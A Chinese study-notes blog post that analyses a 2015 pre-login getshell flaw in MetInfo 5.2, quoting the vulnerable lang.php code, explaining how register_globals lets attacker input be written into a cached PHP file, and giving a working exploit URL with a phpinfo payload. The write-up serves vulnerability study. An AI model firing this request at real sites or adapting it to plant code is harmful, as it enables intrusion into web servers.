MetInfo 无需登录前台直接GETSHELL(v5.2)-学习笔记

漏洞名称

MetInfo 无需登录前台直接GETSHELL(v5.2)(wooyun-2015-094886)

发布时间

2015-05-03

漏洞分类

文件包含

缺陷代码

此漏洞涉及到了两个文件./admin/include/common.inc.php./admin/include/lang.php,问题主要出在lang.php文件中。

在文件./admin/include/lang.php的17~47行:

if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
$langset=($languser!="")?$languser:$met_admin_type;
if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){
    $js="var user_msg = new Array();\n";
    $query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
    $result= $db->query($query);
    if($db->affected_rows()==0){
        require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';
        $post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');
        $file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';
        $re=syn_lang($post,$file_basicname,$langset,1,0);
        $query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
        $result= $db->query($query);
    }
    while($listlang= $db->fetch_array($result)){
        if(substr($listlang['name'],0,2)=='js'){
            $tmp=trim($listlang['value']);
            $js=$js."user_msg['{$listlang['name']}']='$tmp';\n";
        }
        $name = 'lang_'.$listlang['name'];
        $$name= trim($listlang['value']);
        $str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";
    }
    $js1='$'."js='".str_replace("'","\\'",$js).'\';';
    $str="<?php\n".$str.$js1."\n?>";
    file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
}else{
    require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';
}

  1. 关键在第44行的代码file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str),变量$langset和变量$str用户可控。

  2. 然后我们想办法让程序把恶意代码写到langadmin_*.php即可,但是此处ROOTPATH未初始化,即使执行了第44行代码,也写不了文件。

  3. 这是就需要用到./admin/include/common.inc.php文件了(里面对ROOTPATH进行了初始化),在common.inc.php的第65行require_once ROOTPATH_ADMIN.'include/lang.php'

  4. 这样一来只需构造传入参数访问./admin/include/common.inc.php,使./admin/include/lang.php的第45行的代码file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str)执行,我们就能写入我们的恶意代码。

  5. 文件./admin/include/common.inc.php中,我们只需避开50行的if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');,即可执行的require_once ROOTPATH_ADMIN.'include/lang.php'。对此,在register_globals开启的情况下,我们可以这样赋值langset=333&met_langadmin[333][]=33333333来绕过。

  6. 现在回到./admin/include/lang.php文件,我们要执行44行的代码,就需要进入21行的if语句if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')),这时我们只需构造一个不存在的langadmin_*.php文件就可以了。

  7. 在第17~20行还有:

if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
$langset=($languser!="")?$languser:$met_admin_type;

为了保持$langset不变,我们只需传入met_admin_type_ok=1。(register_globals开启)
利用:
利用条件:register_globals开启

./admin/include/common.inc.php?met_admin_type_ok=1&langset=333&met_langadmin[333][]=3333333333&str=phpinfo%28%29%3B%3F%3E%2f%2f
文件包含可能导致敏感信息,配置文件的泄露。
重则导致命令执行。
结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小龙在山东

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值